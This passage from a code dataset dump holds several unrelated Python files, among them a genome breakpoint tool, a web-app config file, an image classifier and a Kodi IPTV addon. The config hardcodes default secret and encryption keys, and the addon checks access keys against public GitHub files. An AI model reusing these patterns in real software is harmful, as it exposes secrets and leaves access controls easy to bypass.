output_inversions(breaks, out_stream):\n out_stream.write(\"#chrom\\tchrmStart\\tchrmEnd\\thaplotype\\tsupportReads\\topposingReads\\n\")\n for br in breaks:\n if br.bp_1.ref_id == br.bp_2.ref_id and br.direction_1 > 0 and br.direction_2 > 0:\n matching = False\n for other_br in breaks:\n if (other_br.bp_1.ref_id == br.bp_1.ref_id and other_br.bp_2.ref_id == br.bp_2.ref_id and\n other_br.bp_1.position == br.bp_1.position and other_br.bp_2.position == br.bp_2.position and\n other_br.direction_1 < 0 and other_br.direction_2 < 0):\n matching = True\n break\n\n if matching:\n by_hp = defaultdict(int)\n for conn in br.connections:\n by_hp[conn.haplotype] += 1\n max_hp = max(by_hp, key=by_hp.get)\n\n num_opposing = 0\n for r in br.bp_1.spanning_reads + br.bp_2.spanning_reads:\n if r.haplotype == max_hp:\n num_opposing += 1\n out_stream.write(\"\\t\".join([br.bp_1.ref_id, str(br.bp_1.position), str(br.bp_2.position),\n str(max_hp), str(by_hp[max_hp] // 2), str(num_opposing)]) + \"\\n\")\n\n\ndef _run_pipeline(arguments):\n BP_CLUSTER_SIZE = 100\n MIN_BREAKPOINT_READS = 10\n MIN_DOUBLE_BP_READS = 5\n MIN_REF_FLANK = 5000\n\n parser = argparse.ArgumentParser \\\n (description=\"Find breakpoints given a bam file\")\n\n parser.add_argument(\"-b\", \"--bam\", dest=\"bam_path\",\n metavar=\"path\", required=True,\n help=\"path to assembly bam file (must be indexed)\")\n parser.add_argument(\"-o\", \"--out-dir\", dest=\"out_dir\",\n default=None, required=True,\n metavar=\"path\", help=\"Output directory\")\n parser.add_argument(\"-t\", \"--threads\", dest=\"threads\",\n default=8, metavar=\"int\", type=int, help=\"number of parallel threads [8]\")\n parser.add_argument(\"--cluster-size\", dest=\"cluster_size\",\n default=BP_CLUSTER_SIZE, metavar=\"int\", type=int, help=\"size of breakpoint cluster in bp [100]\")\n parser.add_argument(\"--breakpoint-min-reads\", dest=\"bp_min_reads\",\n default=MIN_BREAKPOINT_READS, metavar=\"int\", type=int, help=\"minimum reads in breakpoint [10]\")\n parser.add_argument(\"--double-breakpoint-min-reads\", dest=\"double_bp_min_reads\",\n default=MIN_DOUBLE_BP_READS, metavar=\"int\", type=int, help=\"minimum reads in double breakpoint [5]\")\n parser.add_argument(\"--min-reference-flank\", dest=\"min_ref_flank\",\n default=MIN_REF_FLANK, metavar=\"int\", type=int,\n help=\"minimum distance between breakpoint and sequence ends [5000]\")\n args = parser.parse_args(arguments)\n\n with pysam.AlignmentFile(args.bam_path, \"rb\") as a:\n ref_lengths = dict(zip(a.references, a.lengths))\n\n all_reads = get_all_reads_parallel(args.bam_path, args.threads, inter_contig=True)\n split_reads = []\n for r in all_reads:\n if len(r) > 1:\n split_reads.append(r)\n print(\"Parsed\", len(all_reads), \"reads\", len(split_reads), \"split reads\", file=sys.stderr)\n\n split_reads = resolve_overlaps(split_reads, args.cluster_size)\n bp_clusters = get_breakpoints(all_reads, split_reads, args.cluster_size, args.bp_min_reads, args.min_ref_flank, ref_lengths)\n all_breaks, balanced_breaks = get_2_breaks(bp_clusters, args.cluster_size, args.double_bp_min_reads)\n\n out_breaks = os.path.join(args.out_dir, \"breakpoints_all.csv\")\n out_balanced_breaks = os.path.join(args.out_dir, \"breakpoints_balanced.csv\")\n out_inversions = os.path.join(args.out_dir, \"inversions.bed\")\n\n output_breaks(all_breaks, open(out_breaks, \"w\"))\n output_breaks(balanced_breaks, open(out_balanced_breaks, \"w\"))\n output_inversions(balanced_breaks, open(out_inversions, \"w\"))\n\n\ndef find_breakpoints(input_bam, output_dir, num_threads):\n _run_pipeline([\"-b\", input_bam, \"-o\", output_dir, \"-t\", str(num_threads)])\n\n\ndef main():\n _run_pipeline(sys.argv[1:])\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"hapdup/find_breakpoints.py","file_name":"find_breakpoints.py","file_ext":"py","file_size_in_byte":17863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521590273","text":"import os, logging\nfrom datetime import timedelta\n\n# specify mongo uri\n# mongodb://[username:password@]host1[:port1][,host2[:port2],\\\n# ...[,hostN[:portN]]][/[database][?options]]\nMONGO_URI = os.environ.get('MONGO_URI', \n \"mongodb://localhost:27017/devdb?connectTimeoutMS=100&socketTimeoutMS=60000&serverSelectionTimeoutMS=5000\")\n\n# enable application debugging (ensure debugging is disabled on production app)\nDEBUG = bool(int(os.environ.get(\"DEBUG\", 1)))\n\n# secret key for secret functions...\nSECRET_KEY = os.environ.get(\"SECRET_KEY\", \"d41d8cd98f00b204e9800998ecf8427e\")\nEKEY = os.environ.get(\"EKEY\", \"A90DF148C0B6B383754224B2EB720C02\")\nEIV = os.environ.get(\"EIV\", \"B1CEF3F0708FA29EBDB86A9E41B80CA2\")\n\n# length of time cookie is set to valid on client\nREMEMBER_COOKIE_DURATION = timedelta(\n days=int(os.environ.get(\"REMEMBER_COOKIE_DURATION\",1)))\n\n# Enable SSO authentication (requires webserver reload for changes to apply)\nSSO_ENABLED = bool(int(os.environ.get(\"SSO_ENABLED\", 0)))\n\n# bcrypt rounds (can theoretically be changed live without affecting existing)\nBCRYPT_LOG_ROUNDS = 12\n\n# default sender for email notifications\nEMAIL_SENDER = os.environ.get(\"EMAIL_SENDER\", \"\")\n\n# logging options\nLOG_DIR = os.environ.get(\"LOG_DIR\", \"/var/log/ept/\")\nLOG_LEVEL = int(os.environ.get(\"LOG_LEVEL\", logging.DEBUG))\nLOG_ROTATE = bool(int(os.environ.get(\"LOG_ROTATE\", 1)))\nLOG_ROTATE_SIZE = os.environ.get(\"LOG_ROTATE_SIZE\", 26214400)\nLOG_ROTATE_COUNT = os.environ.get(\"LOG_ROTATE_COUNT\", 3)\n\n# enable/disable login for application. when login is disabled users are\n# automatically allowed admin access\nLOGIN_ENABLED = bool(int(os.environ.get(\"LOGIN_ENABLED\",1)))\n\n# url for proxy function\nPROXY_URL = os.environ.get(\"PROXY_URL\", \"https://127.0.0.1:443/\")\n\n# simulate apic connection and callbacks\nSIMULATION_MODE = bool(int(os.environ.get(\"SIMULATION_MODE\",0)))\n\n# application running as an app on aci apic (ensure started file matches \n# start.sh settings)\nACI_APP_MODE = bool(int(os.environ.get(\"ACI_APP_MODE\",0)))\nACI_STARTED_FILE = os.environ.get(\"ACI_STARTED_FILE\",\"/home/app/data/.started\")\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"450034543","text":"import os\nimport shutil\nimport keras\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense,MaxPool2D,Conv2D,Flatten\nimport cv2\n\ndef get_batch_size(no_of_images): #returns the batch size based on no of images.\n if no_of_images >= 20:\n return 16\n elif no_of_images >= 10:\n return 8\n elif no_of_images >= 2:\n return 2\n else:\n return 1\n\ndef data_generation(training_dir,class_mode,batch_size): #returns train data and validation data by splitting the images from training directory.\n train_gen = keras.preprocessing.image.ImageDataGenerator( #train data generator.\n rescale=1/255, \n horizontal_flip=True,\n validation_split=0.2, #remove this if validation data is not required.\n )\n train_data = train_gen.flow_from_directory(\n training_dir,\n batch_size=batch_size,\n color_mode=\"rgb\",\n target_size=(256, 256),\n shuffle=True,\n class_mode=class_mode, #it can be binary or categorical based no of classes.\n subset=\"training\", #remove this if validation data is not required.\n )\n\n validation_data = train_gen.flow_from_directory(\n training_dir,\n batch_size=8,\n color_mode=\"rgb\",\n target_size=(256, 256),\n shuffle=True,\n class_mode=class_mode,\n subset=\"validation\", #remove this if validation data is not required.\n )\n\n return (train_data, validation_data)\n\ndef build_model(classes): #returns the model structure.\n model = Sequential()\n\n model.add(Conv2D(64,3,1,input_shape=(256,256,3),activation='relu'))\n model.add(Conv2D(64,3,1,activation='relu'))\n model.add(MaxPool2D(pool_size=(2,2),strides=2))\n\n model.add(Conv2D(128,3,1,activation='relu'))\n model.add(Conv2D(128,3,1,activation='relu'))\n model.add(MaxPool2D(pool_size=(2,2),strides=2))\n\n model.add(Conv2D(256,3,1,activation='relu'))\n model.add(Conv2D(256,3,1,activation='relu'))\n model.add(MaxPool2D(pool_size=(2,2),strides=2))\n\n model.add(Flatten())\n model.add(Dense(128,activation='relu'))\n model.add(Dense(64,activation='relu'))\n\n if(classes == 2):\n model.add(Dense(1,activation='sigmoid'))\n model.compile(optimizer='adam',loss='binary_crossentropy',metrics=['accuracy'])\n else:\n model.add(Dense(3,activation='softmax'))\n model.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\n\n return model\n\ndef fit_model(model,train_data,validation_data,epochs): #fit model to training and validation data and return the model.\n model.fit(train_data,epochs=epochs,validation_data=validation_data)\n return model\n\nstoring_class_names = [] #store class names and use them while evaluating model.\nstoring_model = \"\" #store model and use it while evaluating.\n\ndef training_model(epochs,class_names,no_of_images): #Train the model.\n global storing_model\n global storing_class_names\n\n storing_class_names = class_names\n\n class_mode = \"\"\n train_dir = \"Image_Classification/custom/Dataset/\"\n \n if len(class_names) == 2:\n class_mode = \"binary\"\n else:\n class_mode = \"categorical\"\n\n batch_size = get_batch_size(min(no_of_images))\n train_data, validation_data = data_generation(training_dir=train_dir,class_mode=class_mode,batch_size=batch_size)\n\n nn_model = build_model(len(class_names))\n\n nn_model = fit_model(nn_model,train_data=train_data,validation_data=validation_data,epochs=epochs)\n\n #Just to make sure the saved_model directory is empty.\n shutil.rmtree(\"Image_Classification/custom/saved_model\") \n os.mkdir(\"Image_Classification/custom/saved_model\")\n\n storing_model = nn_model\n nn_model.save('Image_Classification/custom/saved_model/model.h5')\n\n return \"model saved\"\n\n\ndef evaluating_custom_model(file_name): # Evaluate model.\n global storing_model\n global storing_class_names\n \n # load the image and pre-process it with dimensions used while training.\n img_path = 'Image_Classification/custom/evaluating_images/'+file_name\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n img = cv2.resize(img,(256,256))\n img = img.reshape(1,256,256,-1)\n img = img/255\n\n # load the model from saved_model directory if the model is lost.\n if storing_model == \"\":\n storing_model = load_model('Image_Classification/custom/saved_model/model.h5')\n\n #predict the image.\n pred = storing_model.predict(img)\n \n # categorise the result accordingly and return the response.\n if len(storing_class_names) == 0:\n return { 'result': '0' }\n elif len(storing_class_names) == 2:\n return { 'result': '1' , storing_class_names[0] : str(100-int(100*pred[0][0])) , storing_class_names[1] : str(int(100*pred[0][0]))}\n else:\n res = {'result': '0'}\n sum = 0\n for i in range(len(storing_class_names)-1):\n res[storing_class_names[i]] = str(int(100*(pred[0][i])))\n sum += int(100*(pred[0][i]))\n res[storing_class_names[-1]] = str(100-sum)\n return res\n\n\nif __name__ == \"__main__\":\n print(\"This program doesn't work on its own. Please run the root program for Custom Image Classifier generation.\")","sub_path":"Backend/Image_Classification/custom/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"355182259","text":"\nfrom django.urls import path\nfrom .views import (\n login_view,registor_view,logout_view\n)\napp_name = 'accounts'\nurlpatterns = [ \n path ('signup/',registor_view,name='signup'),\n path ('login/',login_view,name='login'),\n path ('logout/',logout_view,name='logout')\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"604457283","text":"a=int(input (\"Введите первое число \") ) #Вводим переменную\r\nb=int(input (\"Введите второе число \") ) #Вводим переменную\r\nj=int(input (\"Введите третье число \") ) #Вводим переменную\r\nD=b*b-4*a*j #Дискриминатор\r\nif D>0: #Если Д больше нуля, то..\r\n x1=(-b-D**0.5)/(2*a) #Корни\r\n x2=(-b+D**0.5)/(2*a) #Корни\r\n print (x1,x2) #Выводим корни\r\nelif D==0: #Если Д равен 0, то..\r\n x=-b/2*a #Корень\r\n print (x) #Выводим ИКС\r\nelif D<0: #Если Д меньше нуля, то...\r\n print (\"Корня нету\") #Выводит текст\r\n\r\n \r\n","sub_path":"kvadrat uravnenie.py","file_name":"kvadrat uravnenie.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"573361442","text":"from moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip\nimport sys\n\nlower = int(sys.argv[1])\nupper = int(sys.argv[2])\n\nmap_file = 'checked_'+str(lower)+'_'+str(upper)\nvideos_path = \"./../Input/\"\nclips_path = \"./../Clips/\"\n\nwith open(map_file,'r') as f:\n\tfor line in f:\n\t\tdata = line.strip().split(\",\")\n\t\tvid_name = data[-1]\n\t\tif len(data) > 4:\n\t\t\tvid_name = \"\"\n\t\t\tfor item in data[3:]:\n\t\t\t\tvid_name += item + \",\"\n\t\t\tvid_name = vid_name[:-1]\n\t\tffmpeg_extract_subclip(videos_path + vid_name, float(data[1]), float(data[2]), targetname=clips_path+str(data[0])+\".mp4\")\n\t\t\n","sub_path":"Scripts/trim_video.py","file_name":"trim_video.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"157444283","text":"# -*- coding: utf-8 -*-\n#from __future__ import unicode_literals\n\nimport sys,xbmc,xbmcaddon\nimport resources.lib.requests as requests\nimport re,os,xbmcplugin,xbmcgui\nimport urllib,urllib2\nimport urllib2,urlparse,json\n############################################\n\n_wersja_ = \"0.0.1\"\n_data_ = \"2016-01-14\"\n\n############################################\naddon = xbmcaddon.Addon('plugin.pltv.premium')\n\nmode = sys.argv[2]\nxbmcPlayer = xbmc.Player()\nplayList = xbmc.PlayList(xbmc.PLAYLIST_VIDEO)\nscriptID = addonID = addon.getAddonInfo('id').decode('utf-8')\naddonDir = addon.getAddonInfo('path').decode('utf-8')\nsys.path.append( xbmc.translatePath(addonDir))\nsys.path.append( os.path.join(addonDir, \"resources\" ))\nicon = xbmc.translatePath( os.path.join( addonDir, 'icon.png' ) ).decode('utf-8')\nfanart = xbmc.translatePath( os.path.join( addonDir, 'fanart.jpg' ) ).decode('utf-8')\ndodatki = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/'\ntv = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/logo_tv/'\nradio = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/logo_radio/'\nimages = imagesDir = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/images/'\nfanartDir='https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/fanarts/'\nplay = defaultImage = tv+'play.png'\nUHD=\" [COLOR orange][UHD][/COLOR]\"\nFHD=\" [COLOR green][FHD][/COLOR]\"\nHD=\" [COLOR blue][HD][/COLOR]\"\nSD=\"\"\nLD=\" [LQ]\"\npakiet1=\"\"\npakiet2=\" [COLOR red][VIP] [/COLOR]\"\npakiet3=\" [COLOR red][PREMIUM] [/COLOR]\"\nloop_url='https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/loop.mp4'\nWIDOK_SET = addon.getSetting('widok')\nZAWARTOSC_SET = addon.getSetting('zawartosc')\nICON_SET = addon.getSetting('ikonki')\nXXX_SET = addon.getSetting('xxx')\ndostep=\"no\"\n############################################## SPRAWDZANIE WERSJI\njson_version=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/data.json\"\nheaders = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\npost = {}\ndata = urllib.urlencode(post)\nreqUrl = urllib2.Request(json_version, data, headers)\nred_json = urllib2.urlopen(reqUrl)\nobj_data = json.load(red_json)\nfor s in range(len(obj_data)):\n aktualna_wersja = obj_data[s]['WERSJA']\n aktualna_data = obj_data[s]['DATA']\n kluczyk_dir = obj_data[s]['KLUCZYKI']\nif aktualna_wersja != _wersja_:\n info1 = ' Zainstalowana wersja to: '+_wersja_+' z dnia: '+_data_\n info2 = ' Najnowsza wersja to: '+aktualna_wersja+' z dnia: '+aktualna_data\n xbmcgui.Dialog().ok(\"[COLOR red][B]AKTUALIZACJA[/B][/COLOR]\", '[COLOR lime] Sprawdź aktualizację w ustawieniach Kodi[/COLOR]',info1,info2)\n###################################################################### WYMUSZENIE WPROWADZENIA DANYCH\nuser_email = addon.getSetting('user_email')\nuser_klucz = addon.getSetting('user_klucz')\nif user_email == \"\":\n xbmcgui.Dialog().ok(\"[COLOR red][B]TWOJE KONTO[/B][/COLOR]\",' ', 'Musisz wprowadzić swoje dane uwierzytelniające dostęp')\n addon.openSettings(sys.argv[1])\n sys.exit(0)\nif user_klucz == \"\":\n xbmcgui.Dialog().ok(\"[COLOR red][B]TWÓJ KLUCZ[/B][/COLOR]\",' ', 'Wprowadź otrzymany unikatowy [B]klucz uwierzytelniający[/B]')\n addon.openSettings(sys.argv[1])\n sys.exit(0)\n############################################################################################## szukanie loginu\nsprawdzenie=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/users.kluczyk\"\nheaders = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\npost = {}\nkodowanie = urllib.urlencode(post)\nreqUrl = urllib2.Request(sprawdzenie, kodowanie, headers)\nred_json = urllib2.urlopen(reqUrl)\nobj_data = json.load(red_json)\nfor s in range(len(obj_data)):\n login = obj_data[s]['LOGIN']\n if login == user_email:\n dostep=\"ok\"\n break\n else:\n dostep=\"no\"\nif dostep == \"no\":\n xbmcgui.Dialog().ok(\"[COLOR red][B]LOGIN[/B][/COLOR]\",' ', ' Brak konta lub nie zostało ono jeszcze aktywowane![CR] Sprawdź wprowadzony adres e-mail')\n addon.openSettings(sys.argv[1])\n sys.exit(0)\n################################################################################ wczytywanie klucza i danych pakietu\nsprawdzenie=\"https://raw.githubusercontent.com/neopack1/kodi/master/kluczyki/\"+login+\".kluczyk\"\nheaders = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\npost = {}\nkodowanie = urllib.urlencode(post)\nreqUrl = urllib2.Request(sprawdzenie, kodowanie, headers)\nred_json = urllib2.urlopen(reqUrl)\nobj_data = json.load(red_json)\nfor s in range(len(obj_data)):\n login = obj_data[s]['KLUCZ']\n user_pakiet=obj_data[s]['PAKIET']\n if login == user_klucz:\n dostep=\"ok\"\n break\n else:\n dostep=\"no\"\nif dostep == \"no\":\n xbmcgui.Dialog().ok(\"[COLOR red][B]LOGIN[/B][/COLOR]\",' ', ' Wprowadzony klucz jest nieprawidłowy![CR] Sprawdź wprowadzony klucz')\n addon.openSettings(sys.argv[1])\n sys.exit(0)\n \nif user_pakiet == \"2\":\n pakiet2=\"\"\n pakiet3=\"\" # do użytku w przyszłości (jezeli bedą w ofercie 3 pakiety należy wykasować tę linię)\n \nif user_pakiet == \"3\":\n pakiet2=\"\"\n pakiet3=\"\"\n user_pakiet=\"2\" # do użytku w przyszłości (jezeli bedą w ofercie 3 pakiety należy wykasować tę linię)\n\n\n\n####################################################################################### WSTĘPNA KONFIGURACJA WIDOKU\nxbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku\nif ZAWARTOSC_SET == 'true':\n xbmcplugin.setContent(int(sys.argv[1]), 'movies')\nelse:\n xbmcplugin.setContent(int(sys.argv[1]), 'files')\nif ICON_SET == \"1\":\n tv = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/logo_tv_L/'\nif ICON_SET == \"2\":\n tv = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/logo_tv_M/'\nif ICON_SET == \"3\":\n tv = 'https://raw.githubusercontent.com/neopack1/kodi/master/dodatki/logo_tv_S/'\n\n################################################################################# DEKODER DLA LOOKNIJ I TVP STREAM\nif 'runstream' in sys.argv[2]:\n url = sys.argv[2].replace('?runstream=','')\n px = xbmc.translatePath( os.path.join( addonDir,\"resources/lib/zapping.py\") ).decode('utf-8')\n xbmc.executebuiltin('RunScript('+px+',url='+url+')')\n sys.exit(0)\n#############################################################################################################\ndef addLink(name,url,iconImage):\n ok=True\n if 'looknij.tv' in url: url = 'plugin://plugin://plugin.pltv.premium/?runstream=' + url + '***' + name + '***' + iconImage\t\n liz=xbmcgui.ListItem(name, iconImage=\"DefaultVideo.png\", thumbnailImage=iconImage)\n liz.setInfo( type=\"Video\", infoLabels={ \"Title\": name } )\n liz.setProperty( \"Fanart_Image\", fanart )\n ok=xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]),url=url,listitem=liz)\n return ok\n\ndef addDir(name,url,iconImage):\n liz=xbmcgui.ListItem(name, iconImage=\"DefaultDir.png\", thumbnailImage=iconImage)\n liz.setProperty( \"Fanart_Image\", fanart )\n xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]),url=url,listitem=liz,isFolder=True)\n\ndef get_url():\n\n basicurl = 'http://tvpstream.tvp.pl/'\n plurl = requests.get(basicurl)\n pattern = '
.*?'\n rResult = parse(plurl.text, pattern)\n return rResult[1]\n\ndef find_between(s,first,last):\n try:\n start = s.index( first ) + len( first )\n end = s.index( last, start )\n return s[start:end]\n except ValueError:\n return \"\"\n\ndef parse(sHtmlContent, sPattern, iMinFoundValue = 1, ignoreCase = False):\n if ignoreCase:\n aMatches = re.compile(sPattern, re.DOTALL|re.I).findall(sHtmlContent)\n else:\n aMatches = re.compile(sPattern, re.DOTALL).findall(sHtmlContent)\n if (len(aMatches) >= iMinFoundValue): \n return True, aMatches\n return False, aMatches\n\ndef addJson(url):\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n thumb=obj_data[s]['LOGO']\n nazwa=obj_data[s]['NAZWA']\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n nazwa=nazwa+LD\n if jakosc == \"hd\":\n nazwa=nazwa+HD\n if jakosc == \"fhd\":\n nazwa=nazwa+FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n nazwa=nazwa+UHD\n addLink(nazwa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n#####################################################################################################\n\n\n\n\n\n\n\n##################################################################################### BUDOWA MENU GŁOWNEGO\ndef main():\n\n if 'tvp' in mode: tvp()\n elif 'looknij' in mode: looknij()\n elif 'pol' in mode: pol()\n elif 'filmboxlive' in mode: filmboxlive()\n elif 'ger' in mode: ger()\n elif 'testy' in mode: testy()\n elif 'opcje' in mode: opcje()\n elif 'xxx' in mode: xxx()\n else:\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n \n# addDir('MENU TESTOWE', 'plugin://plugin.pltv.premium/?testy', icon)\n addDir('[B][COLOR white]TV POLSKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?polska', images+'dir_tv.png')\n addDir('[B][COLOR white]TV NIEMIECKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?ger', images+'dir_int.png')\n # addDir('[B][COLOR gold][VIP] [/COLOR][COLOR red]FILMBOX POLSKA[/COLOR][/B]', 'plugin://plugin.pltv.premium/?filmboxlive', images+'dir_filmboxlive.png' )\n addDir('[B][COLOR white]TVP STREAM[/COLOR][/B]', 'plugin://plugin.pltv.premium/?tvp', images+'dir_tvpstream.png')\n# addDir('[B][COLOR white]LOOKNIJ.TV[/COLOR][/B]', 'plugin://plugin.pltv.premium/?looknij', images+'dir_looknijtv.png' )\n# if XXX_SET == 'true':\n# addDir('[B][COLOR pink]Erotyka[/COLOR] (18+)[/B]', 'plugin://plugin.pltv.premium/?xxx', images+'dir_xxx2.png')\n \n addDir('[B][COLOR darkgrey]Ustawienia[/COLOR][/B]', 'plugin://plugin.pltv.premium/?opcje', images+'settings.png')\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n############################################################################################\ndef opcje():\n addon.openSettings(sys.argv[1])\n sys.exit(0)\n##################################################################################################\ndef xxx():\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/xxx.json\")\n xbmc.executebuiltin('Container.SetViewMode(50)')\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n#####################################################################################################\ndef tvp():\n link = get_url()\n for i in link:\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n url = 'plugin://plugin://plugin.pltv.premium//?runstream=' + i[0] + '***' + i[1] + '***' + i[2]\n addLink(i[1],url,i[2])\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n########################################################################################################\ndef looknij():\n WIDOK_SET = addon.getSetting('widok')\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/looknij.json\")\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n####################################################################################################\ndef filmboxlive():\n WIDOK_SET = addon.getSetting('widok')\n xbmc.executebuiltin('Container.SetViewMode('+WIDOK_SET+')') # Zmiana widoku wedłóg ustawień\n addJson(\"https://raw.githubusercontent.com/neopack1/kodi/master/json/filmboxlive.json\")\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n######################################################################################################\ndef pol():\n url=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/pol.json\"\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n lp=0\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n lp=lp+1\n pakiet=obj_data[s]['PAKIET']\n if pakiet==\"1\":\n dopisek=pakiet1\n if pakiet==\"2\":\n dopisek=pakiet2\n if user_pakiet == \"1\":\n url=loop_url\n #if pakiet==\"3\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # dopisek=pakiet3 zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # if user_pakiet == \"1\" or user_pakiet == \"2\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # url=loop_url zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n jakosc=LD\n if jakosc == \"hd\":\n jakosc=HD\n if jakosc == \"fhd\":\n jakosc=FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n jakosc=UHD\n if jakosc == \"sd\":\n jakosc=SD\n \n thumb=obj_data[s]['LOGO']\n nazwa=\"[B]\"+obj_data[s]['NAZWA']+\"[/B]\"\n nazwa_koncowa=str(lp)+\" \"+nazwa+jakosc+dopisek\n \n addLink(nazwa_koncowa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n########################################################################################################\ndef ger():\n url=\"https://raw.githubusercontent.com/neopack1/kodi/master/premium/ger.json\"\n headers = { 'User-Agent': 'XBMC', 'ContentType': 'application/x-www-form-urlencoded' }\n post = {}\n data = urllib.urlencode(post)\n reqUrl = urllib2.Request(url, data, headers)\n red_json = urllib2.urlopen(reqUrl)\n obj_data = json.load(red_json)\n lp=0\n for s in range(len(obj_data)):\n url = obj_data[s]['URL']\n lp=lp+1\n pakiet=obj_data[s]['PAKIET']\n if pakiet==\"1\":\n dopisek=pakiet1\n if pakiet==\"2\":\n dopisek=pakiet2\n if user_pakiet == \"1\":\n url=loop_url\n #if pakiet==\"3\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # dopisek=pakiet3 zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # if user_pakiet == \"1\" or user_pakiet == \"2\": zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n # url=loop_url zdejmij znaczniki komentaża gdy bedą używane 3 pakiety\n jakosc=obj_data[s]['JAKOSC']\n if jakosc == \"ld\" or jakosc == \"lq\":\n jakosc=LD\n if jakosc == \"hd\":\n jakosc=HD\n if jakosc == \"fhd\":\n jakosc=FHD\n if jakosc == \"uhd\" or jakosc == \"4k\":\n jakosc=UHD\n if jakosc == \"sd\":\n jakosc=SD\n \n thumb=obj_data[s]['LOGO']\n nazwa=\"[B]\"+obj_data[s]['NAZWA']+\"[/B]\"\n nazwa_koncowa=str(lp)+\" \"+nazwa+jakosc+dopisek\n \n addLink(nazwa_koncowa,url,tv+thumb)\n# li = xbmcgui.ListItem(nazwa, thumbnailImage=tv+thumb, iconImage=tv+thumb\n# xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=li)\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n sys.exit(0)\n\n################################################################################# MENU TESTOWE \ndef testy():\n\n\n \n\n addLink(\"aaaa vod\",defaultImage, defaultImage) \n addLink('????','rtmp://extondemand.livestream.com/ondemand playpath=trans/dv01/mogulus-user-files/chtivinet/2008/12/03/2d08d46c-2ebd-4074-b555-0adad395a2dc 